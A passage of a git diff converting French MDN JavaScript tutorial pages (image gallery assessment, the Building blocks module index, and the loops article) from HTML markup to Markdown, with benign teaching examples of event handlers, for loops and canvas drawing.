fourni une ligne qui stocke une référence au `<button>` dans une variable appelée `btn`. Vous devez ajouter un gestionnaire `onclick` qui: -<ol> - <li>Vérifie la classe appliquée à <code><button></code> — à nouveau, vous pouvez utiliser <code>getAttribute()</code>.</li> - <li>Si le nom de classe est <code>"dark"</code>, changer la classe du <code><button></code> pour <code>"light"</code> (avec <code><a href="/fr/docs/Web/API/Element/setAttribute">setAttribute()</a></code>), son contenu textuel par "Lighten", et le {{cssxref("background-color")}} du voile d'assombrissement <code><div></code> par <code>"rgba(0,0,0,0.5)"</code>.</li> - <li>Si le nom de classe n'est pas <code>"dark"</code>, changer la classe du <code><button></code> pour <code>"dark"</code>, son contenu textuel par "Darken", et le {{cssxref("background-color")}} du voile d'assombrissement <code><div></code> par <code>"rgba(0,0,0,0)"</code>.</li> -</ol> +1. Vérifie la classe appliquée à `<button>` — à nouveau, vous pouvez utiliser `getAttribute()`. +2. Si le nom de classe est `"dark"`, changer la classe du `<button>` pour `"light"` (avec [`setAttribute()`](/fr/docs/Web/API/Element/setAttribute)), son contenu textuel par "Lighten", et le {{cssxref("background-color")}} du voile d'assombrissement `<div>` par `"rgba(0,0,0,0.5)"`. +3. Si le nom de classe n'est pas `"dark"`, changer la classe du `<button>` pour `"dark"`, son contenu textuel par "Darken", et le {{cssxref("background-color")}} du voile d'assombrissement `<div>` par `"rgba(0,0,0,0)"`. -<p>Les lignes suivantes fournissent une base pour réaliser les changements décrits aux points 2 et 3.</p> +Les lignes suivantes fournissent une base pour réaliser les changements décrits aux points 2 et 3. -<pre class="brush: js">btn.setAttribute('class', xxx); +```js +btn.setAttribute('class', xxx); btn.textContent = xxx; -overlay.style.backgroundColor = xxx;</pre> +overlay.style.backgroundColor = xxx; +``` + +## Conseil -<h2 id="Conseil">Conseil</h2> +- Vous n'avez pas besoin d'éditer le code HTML ni le code CSS. -<ul> - <li>Vous n'avez pas besoin d'éditer le code HTML ni le code CSS.</li> -</ul> +## Évaluation ou aide supplémentaire -<h2 id="Évaluation_ou_aide_supplémentaire">Évaluation ou aide supplémentaire</h2> +Si vous souhaitez que votre travail soit évalué, ou si vous êtes bloqué et que vous voulez demander de l'aide : -<p>Si vous souhaitez que votre travail soit évalué, ou si vous êtes bloqué et que vous voulez demander de l'aide :</p> +1. Mettez votre travail dans un éditeur partageable en ligne tel que [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), ou [Glitch](https://glitch.com/). +2. Rédiger un sujet pour demander une évaluation et/ou une aide à le [forum Discourse du MDN](https://discourse.mozilla.org/c/mdn). Ajoutez la balise "learning" à votre message pour que nous puissions le trouver plus facilement. Votre message doit inclure : -<ol> - <li>Mettez votre travail dans un éditeur partageable en ligne tel que <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, ou <a href="https://glitch.com/">Glitch</a>.</li> - <li>Rédiger un sujet pour demander une évaluation et/ou une aide à le <a href="https://discourse.mozilla.org/c/mdn">forum Discourse du MDN</a>. Ajoutez la balise "learning" à votre message pour que nous puissions le trouver plus facilement. Votre message doit inclure : - <ul> - <li>Un titre descriptif tel que "Évaluation demandée pour la galerie d'images".</li> - <li>Des détails sur ce que vous souhaitez que nous fassions — par exemple ce que vous avez déjà essayé, si vous êtes bloqué et avez besoin d'aide.</li> - <li>Un lien vers l'exemple que vous souhaitez faire évaluer ou pour lequel vous avez besoin d'aide, dans un éditeur en ligne. C'est une bonne pratique à adopter — il est très difficile d'aider une personne ayant un problème de codage si on ne peut pas voir son code.</li> - <li>Un lien vers la page de la tâche ou de l'évaluation proprement dite, afin que nous puissions trouver la question pour laquelle vous souhaitez de l'aide.</li> - </ul> - </li> -</ol> + - Un titre descriptif tel que "Évaluation demandée pour la galerie d'images". + - Des détails sur ce que vous souhaitez que nous fassions — par exemple ce que vous avez déjà essayé, si vous êtes bloqué et avez besoin d'aide. + - Un lien vers l'exemple que vous souhaitez faire évaluer ou pour lequel vous avez besoin d'aide, dans un éditeur en ligne. C'est une bonne pratique à adopter — il est très difficile d'aider une personne ayant un problème de codage si on ne peut pas voir son code. + - Un lien vers la page de la tâche ou de l'évaluation proprement dite, afin que nous puissions trouver la question pour laquelle vous souhaitez de l'aide. -<p>Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre professeur ou mentor pour la notation. Si vous apprenez en autodidacte, vous pouvez obtenir le guide de notation simplement en le demandant <a href="https://discourse.mozilla.org/t/image-gallery-assessment/24687">sur le fil de discussion de cet exercice</a>, ou sur <a href="irc://irc.mozilla.org/mdn">#mdn</a> du canal IRC de <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Faites d'abord l'exercice, vous ne gagnerez rien à tricher!</p> +Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre professeur ou mentor pour la notation. Si vous apprenez en autodidacte, vous pouvez obtenir le guide de notation simplement en le demandant [sur le fil de discussion de cet exercice](https://discourse.mozilla.org/t/image-gallery-assessment/24687), ou sur [#mdn](irc://irc.mozilla.org/mdn) du canal IRC de [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites d'abord l'exercice, vous ne gagnerez rien à tricher! -<p>{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p> +{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/conditionals">Prendre des décisions dans le code — conditions</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Looping_code">Les boucles dans le code</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Fonctions">Fonctions — des blocs de code réutilisables</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Build_your_own_function">Construire vos propres fonctions</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Return_values">Valeurs de retour des fonctions</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements">Introduction aux événements</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Image_gallery">Galerie d'images</a></li> -</ul> +- [Prendre des décisions dans le code — conditions](/fr/docs/Apprendre/JavaScript/Building_blocks/conditionals) +- [Les boucles dans le code](/fr/docs/Apprendre/JavaScript/Building_blocks/Looping_code) +- [Fonctions — des blocs de code réutilisables](/fr/docs/Apprendre/JavaScript/Building_blocks/Fonctions) +- [Construire vos propres fonctions](/fr/docs/Apprendre/JavaScript/Building_blocks/Build_your_own_function) +- [Valeurs de retour des fonctions](/fr/docs/Apprendre/JavaScript/Building_blocks/Return_values) +- [Introduction aux événements](/fr/docs/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements) +- [Galerie d'images](/fr/docs/Apprendre/JavaScript/Building_blocks/Image_gallery) diff --git a/files/fr/learn/javascript/building_blocks/index.md b/files/fr/learn/javascript/building_blocks/index.md index f93cdfbd85..bb9e1f50da 100644 --- a/files/fr/learn/javascript/building_blocks/index.md +++ b/files/fr/learn/javascript/building_blocks/index.md @@ -13,44 +13,36 @@ tags: translation_of: Learn/JavaScript/Building_blocks original_slug: Apprendre/JavaScript/Building_blocks --- -<div>{{JsSidebar}}</div> +{{JsSidebar}}{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}} -<div>{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}}</div> +Dans ce module nous allons continuer à voir l'ensemble des fonctionnalités clefs du JavaScript en nous concentrant plus particulièrement sur les structures les plus répandues telles que les conditions, les boucles, les fonctions et les événements. Nous avons déjà vu ces notions dans le cours mais sans nous y attarder, nous allons maintenant les étudier en détails. -<p>Dans ce module nous allons continuer à voir l'ensemble des fonctionnalités clefs du JavaScript en nous concentrant plus particulièrement sur les structures les plus répandues telles que les conditions, les boucles, les fonctions et les événements. Nous avons déjà vu ces notions dans le cours mais sans nous y attarder, nous allons maintenant les étudier en détails.</p> +## Prérequis -<h2 id="Prérequis">Prérequis</h2> +Avant de commencer ce module, vous devriez connaître les bases du [HTML ](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML)et du [CSS ](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS)et avoir suivi le module précédent, [JavaScript Premiers Pas.](/fr/docs/Learn/JavaScript/First_steps) -<p>Avant de commencer ce module, vous devriez connaître les bases du <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">HTML </a>et du <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS">CSS </a>et avoir suivi le module précédent, <a href="/fr/docs/Learn/JavaScript/First_steps">JavaScript Premiers Pas.</a></p> +> **Note :** Si vous travaillez depuis un ordinateur, une tablette ou depuis un autre appareil sur lequel vous ne pouvez pas créer vos propres fichiers, ce n'est pas un problème, vous pourrez essayer la plupart des exemples en lignes grâce à des outils comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) . -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez depuis un ordinateur, une tablette ou depuis un autre appareil sur lequel vous ne pouvez pas créer vos propres fichiers, ce n'est pas un problème, vous pourrez essayer la plupart des exemples en lignes grâce à des outils comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> .</p> -</div> +## Guides -<h2 id="Guides">Guides</h2> +- [Prendre des décisions dans votre code — les conditions](/fr/docs/Learn/JavaScript/Building_blocks/conditionals) + - : Quelque soit le langage de programmation, notre programme doit prendre des décisions et effectuer des actions différentes selon les valeurs traitées. Dans un jeu par exemple, si le nombre de vies du joueur est égal à 0, le jeu s'achève. Sur le même principe, une application météo affiche un fond d'aube si elle est lancée le matin, des étoiles et la Lune si, au contraire, elle est lancée la nuit. Dans cet article, nous allons voir comment les structures conditionnelles fonctionnent en JavaScript. +- [Les boucles](/fr/Apprendre/JavaScript/Building_blocks/Looping_code) + - : Parfois une action doit être réalisée plusieurs fois d'affilée. Par exemple, parcourir une liste de noms. En programmation, les boucles effectuent ce genre de tâches à merveille. Ici, nous allons examiner les structures de boucles en JavaScript. +- [Les fonctions — réutiliser des blocs de code](/fr/docs/Learn/JavaScript/Building_blocks/Functions) + - : Un autre concept essentiel en programmation est celui de **fonctions.** Les **fonctions** permettent de définir un morceau de code réalisant une tâche particulière qui pourra être appelé ultérieurement dans le reste du programme par une simple ligne, ce qui évite d'écrire plusieurs fois le même code. Dans cet article, nous allons voir les concepts qui se cachent derrière les fonctions tels que la syntaxe de base, la définition et l'appel d'une fonction, sa portée et ses paramètres. +- [Créez votre propre fonction](/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function) + - : L'essentiel sur la théorie des fonctions a été traité dans le chapitre précédent, cet article va vous permettre de mettre en pratique vos connaissances avec un exercice. Nous allons construire notre propre fonction et nous en profiterons pour expliquer quelques notions plus avancées, utiles pour travailler avec les fonctions. +- [Les valeurs de retour des fonctions](/fr/docs/Learn/JavaScript/Building_blocks/Return_values) + - : Il reste un dernier point à vous présenter avant de terminer cette partie sur les fonctions, il s'agit des valeurs retournées. Une fois leur exécution finie, les fonctions renvoient des valeurs, pour certaines d'entre-elles ce retour nous est utile. Il est important de bien comprendre ce que sont ces valeurs, comment les utiliser dans notre programme et comment faire en sorte que nos fonctions renvoient des valeurs qui nous soient utiles. +- [Introduction aux événements](/fr/docs/Learn/JavaScript/Building_blocks/Events) + - : Les événements sont des actions ou occurences qui surviennent au cours de l'exécution de votre programme, auxquels vous pouvez répondre de la manière que vous souhaitez. Par exemple, si l'utilisateur clique sur une page web, vous pourriez vouloir répondre à cette action en affichant un élément d'information. Dans ce dernier article, nous allons voir des concepts importants se rapportant aux événements et voir la manière dont ils fonctionnent au sein des navigateurs. -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/Building_blocks/conditionals">Prendre des décisions dans votre code — les conditions</a></dt> - <dd>Quelque soit le langage de programmation, notre programme doit prendre des décisions et effectuer des actions différentes selon les valeurs traitées. Dans un jeu par exemple, si le nombre de vies du joueur est égal à 0, le jeu s'achève. Sur le même principe, une application météo affiche un fond d'aube si elle est lancée le matin, des étoiles et la Lune si, au contraire, elle est lancée la nuit. Dans cet article, nous allons voir comment les structures conditionnelles fonctionnent en JavaScript.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Building_blocks/Looping_code">Les boucles</a></dt> - <dd>Parfois une action doit être réalisée plusieurs fois d'affilée. Par exemple, parcourir une liste de noms. En programmation, les boucles effectuent ce genre de tâches à merveille. Ici, nous allons examiner les structures de boucles en JavaScript.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions">Les fonctions — réutiliser des blocs de code</a></dt> - <dd>Un autre concept essentiel en programmation est celui de <strong>fonctions. </strong>Les<strong> fonctions</strong> permettent de définir un morceau de code réalisant une tâche particulière qui pourra être appelé ultérieurement dans le reste du programme par une simple ligne, ce qui évite d'écrire plusieurs fois le même code. Dans cet article, nous allons voir les concepts qui se cachent derrière les fonctions tels que la syntaxe de base, la définition et l'appel d'une fonction, sa portée et ses paramètres.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function">Créez votre propre fonction</a></dt> - <dd>L'essentiel sur la théorie des fonctions a été traité dans le chapitre précédent, cet article va vous permettre de mettre en pratique vos connaissances avec un exercice. Nous allons construire notre propre fonction et nous en profiterons pour expliquer quelques notions plus avancées, utiles pour travailler avec les fonctions.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Building_blocks/Return_values">Les valeurs de retour des fonctions</a></dt> - <dd>Il reste un dernier point à vous présenter avant de terminer cette partie sur les fonctions, il s'agit des valeurs retournées. Une fois leur exécution finie, les fonctions renvoient des valeurs, pour certaines d'entre-elles ce retour nous est utile. Il est important de bien comprendre ce que sont ces valeurs, comment les utiliser dans notre programme et comment faire en sorte que nos fonctions renvoient des valeurs qui nous soient utiles.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Building_blocks/Events">Introduction aux événements</a></dt> - <dd>Les événements sont des actions ou occurences qui surviennent au cours de l'exécution de votre programme, auxquels vous pouvez répondre de la manière que vous souhaitez. Par exemple, si l'utilisateur clique sur une page web, vous pourriez vouloir répondre à cette action en affichant un élément d'information. Dans ce dernier article, nous allons voir des concepts importants se rapportant aux événements et voir la manière dont ils fonctionnent au sein des navigateurs.</dd> -</dl> +## Auto-évaluation -<h2 id="Auto-évaluation">Auto-évaluation</h2> +L'auto-évaluation suivante teste votre compréhension des bases du JavaScript vues dans le guide ci-dessus. -<p>L'auto-évaluation suivante teste votre compréhension des bases du JavaScript vues dans le guide ci-dessus.</p> +- [Galerie de photos](/fr/docs/Learn/JavaScript/Building_blocks/Image_gallery) + - : Maintenant que vous avez fini ce chapitre sur la construction de blocs en JavaScript, vous allez pouvoir tester vos connaissances sur les boucles, les fonctions, les conditions et les événements en codant un élément que l'on retrouve sur de très nombreux sites web, une galerie de photos en JavaScript. -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/Building_blocks/Image_gallery">Galerie de photos</a></dt> - <dd>Maintenant que vous avez fini ce chapitre sur la construction de blocs en JavaScript, vous allez pouvoir tester vos connaissances sur les boucles, les fonctions, les conditions et les événements en codant un élément que l'on retrouve sur de très nombreux sites web, une galerie de photos en JavaScript.</dd> -</dl> - -<p>{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}} </p> +{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}} diff --git a/files/fr/learn/javascript/building_blocks/looping_code/index.md b/files/fr/learn/javascript/building_blocks/looping_code/index.md index fcd352b560..11c8dc0c25 100644 --- a/files/fr/learn/javascript/building_blocks/looping_code/index.md +++ b/files/fr/learn/javascript/building_blocks/looping_code/index.md @@ -18,72 +18,73 @@ tags: translation_of: Learn/JavaScript/Building_blocks/Looping_code original_slug: Apprendre/JavaScript/Building_blocks/Looping_code --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</div> - -<p>Les langages de programmation sont très utiles pour effectuer des tâches répétitives, allant de calculs basiques à à peu près n'importe quelle autre situation où vous avez un certain nombre d'actions similaires à répéter. Ici, nous allons étudier les structures de boucle disponible dans JavaScript qui répondent à un tel besoin.</p> +Les langages de programmation sont très utiles pour effectuer des tâches répétitives, allant de calculs basiques à à peu près n'importe quelle autre situation où vous avez un certain nombre d'actions similaires à répéter. Ici, nous allons étudier les structures de boucle disponible dans JavaScript qui répondent à un tel besoin. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Culture informatique basique, compréhension basique du HTML et du CSS, <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas en JavaScript...</a></td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre comment utiliser les boucles dans JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Culture informatique basique, compréhension basique du HTML et du CSS, + <a href="/fr/docs/Learn/JavaScript/First_steps" + >Premiers pas en JavaScript...</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Comprendre comment utiliser les boucles dans JavaScript.</td> + </tr> + </tbody> </table> -<h2 id="Laissez-moi_dans_la_boucle">Laissez-moi dans la boucle</h2> +## Laissez-moi dans la boucle -<p>Boucles, boucles, boucles. Alors qu'elles sont associées aux <a href="https://fr.wikipedia.org/wiki/Boucles_d%27or_et_les_Trois_Ours">cheveux d'une célèbre héroïne de fiction</a>, elles sont également un concept extrêmement important en programmation. Les boucles de programmation ne font que faire la même action encore et toujours – ce qui se traduit par <strong>itérer</strong> en langage de programmeur.</p> +Boucles, boucles, boucles. Alors qu'elles sont associées aux [cheveux d'une célèbre héroïne de fiction](https://fr.wikipedia.org/wiki/Boucles_d%27or_et_les_Trois_Ours), elles sont également un concept extrêmement important en programmation. Les boucles de programmation ne font que faire la même action encore et toujours – ce qui se traduit par **itérer** en langage de programmeur. -<p>Commençons par examiner le cas d'un fermier qui doit s'assurer d'avoir assez de nourriture pour nourrir sa famille pour la semaine. Il pourrait ainsi utiliser la boucle suivante :</p> +Commençons par examiner le cas d'un fermier qui doit s'assurer d'avoir assez de nourriture pour nourrir sa famille pour la semaine. Il pourrait ainsi utiliser la boucle suivante : -<p><br> - <img alt="" src="loop_js-02-farm.png"></p> + -<p>Une boucle a normalement un ou plusieurs des composants suivants :</p> +Une boucle a normalement un ou plusieurs des composants suivants : -<ul> - <li> Un <strong>compteur</strong>, qui est initialisé à une certaine valeur - c'est le point de départ de la boucle ("Départ : Je n'ai pas de nourriture / I have no food", ci-dessus).</li> - <li>Une <strong>condition de sortie</strong>, qui est le critère grâce auquel la boucle s'arrête - la plupart du temps, il s'agira d'une certaine valeur que le compteur doit atteindre. Elle est illustrée ci-dessus par "Ai-je assez de nourriture ? / Have I got enough food?". Disons qu'il aura besoin de 10 portions de nourriture pour nourir sa famille.</li> - <li>Un <strong>itérateur</strong>, qui incrémente généralement le compteur petit-à-petit à chaque boucle successive, jusqu'à ce que ceui-ci remplisse la condition de sortie. Nous n'avons pas explicitement illustré cela ci-dessus, mais nous pouvons penser que le fermier peut récolter 2 portions de nourriture par heure. On peut donc dire que, toutes les heures, la quantité de nourriture collectée est incrémentée de 2, et il regarde s'il a assez de nourriture. S'il a atteint 10 portions (la condition de sortie), il peut arrêter sa récolte et rentrer chez lui, satisfait de sa journée.</li> -</ul> +- Un **compteur**, qui est initialisé à une certaine valeur - c'est le point de départ de la boucle ("Départ : Je n'ai pas de nourriture / I have no food", ci-dessus). +- Une **condition de sortie**, qui est le critère grâce auquel la boucle s'arrête - la plupart du temps, il s'agira d'une certaine valeur que le compteur doit atteindre. Elle est illustrée ci-dessus par "Ai-je assez de nourriture ? / Have I got enough food?". Disons qu'il aura besoin de 10 portions de nourriture pour nourir sa famille. +- Un **itérateur**, qui incrémente généralement le compteur petit-à-petit à chaque boucle successive, jusqu'à ce que ceui-ci remplisse la condition de sortie. Nous n'avons pas explicitement illustré cela ci-dessus, mais nous pouvons penser que le fermier peut récolter 2 portions de nourriture par heure. On peut donc dire que, toutes les heures, la quantité de nourriture collectée est incrémentée de 2, et il regarde s'il a assez de nourriture. S'il a atteint 10 portions (la condition de sortie), il peut arrêter sa récolte et rentrer chez lui, satisfait de sa journée. -<p>En {{glossary("pseudocode")}}, cela ressemblerait à ce qui suit :</p> +En {{glossary("pseudocode")}}, cela ressemblerait à ce qui suit : -<pre>loop(nourriture = 0; besoinNourriture = 10) { - if (nourriture = besoinNourriture) { - exit loop; - // Nous avons assez de nourriture, on rentre - } else { - nourriture += 2; // On doit rester 1 heure de plus - // La boucle se répète ensuite - } -}</pre> + loop(nourriture = 0; besoinNourriture = 10) { + if (nourriture = besoinNourriture) { + exit loop; + // Nous avons assez de nourriture, on rentre + } else { + nourriture += 2; // On doit rester 1 heure de plus + // La boucle se répète ensuite + } + } -<p>La quantité de nourriture dont le fermier a besoin est donc initialisée à 10, et la quantité dont il dispose est initialisée à 0. A chaque itération de la boucle, on vérifie si la quantité de nourriture dont le fermier dispose est égale à la quantité requise. Si c'est le cas, on peut sortir de la boucle. Sinon, le fermier passe une heure de plus à récolter de la nourriture, et la boucle itère à nouveau.</p> +La quantité de nourriture dont le fermier a besoin est donc initialisée à 10, et la quantité dont il dispose est initialisée à 0. A chaque itération de la boucle, on vérifie si la quantité de nourriture dont le fermier dispose est égale à la quantité requise. Si c'est le cas, on peut sortir de la boucle. Sinon, le fermier passe une heure de plus à récolter de la nourriture, et la boucle itère à nouveau. -<h3 id="À_quoi_ça_sert">À quoi ça sert ?</h3> +### À quoi ça sert ? -<p>Arrivé à ce stade, vous avez sans doute compris le concept global des boucles, mais vous vous dites probablement : "Ok, bien, mais comment cela va-t-il m'aider à améliorer mes codes en JavaScript ?". Comme nous l'avons dit plus tôt, <strong>les boucles ne font rien d'autre que répéter la même action encore et encore</strong>, ce qui peut s'avérer utile pour <strong>effectuer rapidement des tâches répétitives</strong>.</p> +Arrivé à ce stade, vous avez sans doute compris le concept global des boucles, mais vous vous dites probablement : "Ok, bien, mais comment cela va-t-il m'aider à améliorer mes codes en JavaScript ?". Comme nous l'avons dit plus tôt, **les boucles ne font rien d'autre que répéter la même action encore et encore**, ce qui peut s'avérer utile pour **effectuer rapidement des tâches répétitives**. -<p>Souvent, le code sera légèrement différent à chaque itération successive, ce qui signifie que vous pouvez effectuer une certaine quantité de tâches similaires, mais néanmoins quelque peu différentes - si vous avez beaucoup de calculs différents à effectuer, vous n'allez pas effectuer le même calcul encore et encore !</p> +Souvent, le code sera légèrement différent à chaque itération successive, ce qui signifie que vous pouvez effectuer une certaine quantité de tâches similaires, mais néanmoins quelque peu différentes - si vous avez beaucoup de calculs différents à effectuer, vous n'allez pas effectuer le même calcul encore et encore ! -<p>Regardons maintenant un exemple qui illustre parfaitement en quoi les boucles sont si intéressantes. Disons que nous voulons dessiner 100 cercles aléatoirement sur un <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html" title="L'élément <canvas> permet de modifier une zone graphique via un script (habituellement en JavaScript ou grâce à WebGL). Il peut par exemple être utilisé afin de dessiner des graphiques, manipuler des images ou jouer des animations."><code><canvas></code></a> (appuyez sur le bouton <em>Update</em> pour lancer le programme à nouveau et voir différentes dispositions aléatoires).</p> +Regardons maintenant un exemple qui illustre parfaitement en quoi les boucles sont si intéressantes. Disons que nous voulons dessiner 100 cercles aléatoirement sur un [`<canvas>`](http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html "L'élément <canvas> permet de modifier une zone graphique via un script (habituellement en JavaScript ou grâce à WebGL). Il peut par exemple être utilisé afin de dessiner des graphiques, manipuler des images ou jouer des animations.") (appuyez sur le bouton _Update_ pour lancer le programme à nouveau et voir différentes dispositions aléatoires). -<h4>Exemple</h4> +#### Exemple -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Random canvas circles</title> - <style> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Random canvas circles</title> + <style> html { width: 100%; height: inherit; @@ -103,15 +104,15 @@ original_slug: Apprendre/JavaScript/Building_blocks/Looping_code top: 5px; left: 5px; } - </style> - </head> - <body> + </style> + </head> + <body> - <button>Update</button> + <button>Update</button> - <canvas></canvas> + <canvas></canvas> - <script> + <script> const bouton = document.querySelector('button'); const canvas = document.querySelector('canvas'); const ctx = canvas.getContext('2d'); @@ -128,7 +129,7 @@ original_slug: Apprendre/JavaScript/Building_blocks/Looping_code function draw() { ctx.clearRect(0, 0, WIDTH, HEIGHT); - for (let i = 0; i < 100; i++) { + for (let i = 0; i < 100; i++) { ctx.beginPath(); ctx.fillStyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); @@ -138,169 +139,165 @@ original_slug: Apprendre/JavaScript/Building_blocks/Looping_code bouton.addEventListener('click',draw); - </script> + </script> - </body> -</html></pre> + </body> +</html> +``` -<p>{{ EmbedLiveSample('Exemple', '100%', 400) }}</p> +{{ EmbedLiveSample('Exemple', '100%', 400) }} -<h4>Principe de boucle</h4> +#### Principe de boucle -<p>Vous n'avez pas besoin de comprendre entièrement le code pour l'instant, mais regardons plus en détail la partie du code qui trace les 100 cercles :</p> +Vous n'avez pas besoin de comprendre entièrement le code pour l'instant, mais regardons plus en détail la partie du code qui trace les 100 cercles : -<pre class="brush: js">for (let i = 0; i < 100; i++) { +```js +for (let i = 0; i < 100; i++) { ctx.beginPath(); ctx.fillStyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); ctx.fill(); -}</pre> +} +``` -<p>Vous devriez comprendre l'idée basique - nous utilisons une boucle pour effectuer 100 itérations de ce code, chacune dessinant un cercle à une position quelconque sur la page. La quantité de lignes de code nécessaire serait identique si l'on voulait tracer 100 cercles, 1000 ou même 100000. Seul le nombre d'itérations devrait changer.</p> +Vous devriez comprendre l'idée basique - nous utilisons une boucle pour effectuer 100 itérations de ce code, chacune dessinant un cercle à une position quelconque sur la page. La quantité de lignes de code nécessaire serait identique si l'on voulait tracer 100 cercles, 1000 ou même 100000. Seul le nombre d'itérations devrait changer. -<p>Si nous n'utilisions pas de boucle ici, nous aurions du répéter le code suivant pour chaque cercle que nous aurions voulu dessiner :</p> +Si nous n'utilisions pas de boucle ici, nous aurions du répéter le code suivant pour chaque cercle que nous aurions voulu dessiner : -<pre class="brush: js">ctx.beginPath(); +```js +ctx.beginPath(); ctx.fillStyle = 'rgba(255, 0, 0, 0.5)'; ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); -ctx.fill();</pre> +ctx.fill(); +``` + +Mais cela prend du temps inutilement, et rend le code difficilement maintenable. Les boucles sont vraiment les meilleures. -<p>Mais cela prend du temps inutilement, et rend le code difficilement maintenable. Les boucles sont vraiment les meilleures.</p> +## La boucle standard -<h2 id="La_boucle_standard">La boucle standard</h2> +Commençons maintenant à voir quelques formes de boucles spécifiques. La première, celle que vous utiliserez le plus souvent, est la boucle [for](/fr/docs/Web/JavaScript/Reference/Instructions/for). Elle a la syntaxe suivante : -<p>Commençons maintenant à voir quelques formes de boucles spécifiques. La première, celle que vous utiliserez le plus souvent, est la boucle <a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a>. Elle a la syntaxe suivante :</p> + for (initialisation; condition de sortie; expression finale) { + // code à exécuter + } + +Nous avons ici : -<pre>for (initialisation; condition de sortie; expression finale) { - // code à exécuter -}</pre> +1. Le mot-clé `for`, suivi par des parenthèses. +2. A l'intérieur des parenthèses, on a trois objets : -<p>Nous avons ici :</p> + 1. Une **initialisation** — il s'agit souvent d'une variable initialisée à une certaine valeur, qui est incrémentée afin de compter le nombre de fois où la boucle s'est exécutée. On peut également la nommer **compteur**. + 2. Une **condition de sortie** — comme mentionné précédemment, cela définit le moment où la boucle doit arrêter de s'exécuter. C'est généralement une expression contenant un opérateur de comparaison, un test pour voir si la condition de sortie est atteinte. + 3. Une **expression finale** — Elle est toujours évaluée (ou exécutée) chaque fois que la boucle a effectué une itération complète. Cela sert souvent à incrémenter (ou dans certains cas décrémenter) le compteur, pour le rapprocher de la valeur de la condition de sortie. -<ol> - <li>Le mot-clé <code>for</code>, suivi par des parenthèses.</li> - <li>A l'intérieur des parenthèses, on a trois objets : - <ol> - <li>Une <strong>initialisation</strong> — il s'agit souvent d'une variable initialisée à une certaine valeur, qui est incrémentée afin de compter le nombre de fois où la boucle s'est exécutée. On peut également la nommer <strong>compteur</strong>.</li> - <li>Une <strong>condition de sortie</strong> — comme mentionné précédemment, cela définit le moment où la boucle doit arrêter de s'exécuter. C'est généralement une expression contenant un opérateur de comparaison, un test pour voir si la condition de sortie est atteinte.</li> - <li>Une <strong>expression finale</strong> — Elle est toujours évaluée (ou exécutée) chaque fois que la boucle a effectué une itération complète. Cela sert souvent à incrémenter (ou dans certains cas décrémenter) le compteur, pour le rapprocher de la valeur de la condition de sortie.</li> - </ol> - </li> - <li>Des accolades contenant un bloc de code — ce code sera exécuté chaque fois que la boucle itère.</li> -</ol> +3. Des accolades contenant un bloc de code — ce code sera exécuté chaque fois que la boucle itère. -<p>Regardons maintenant un 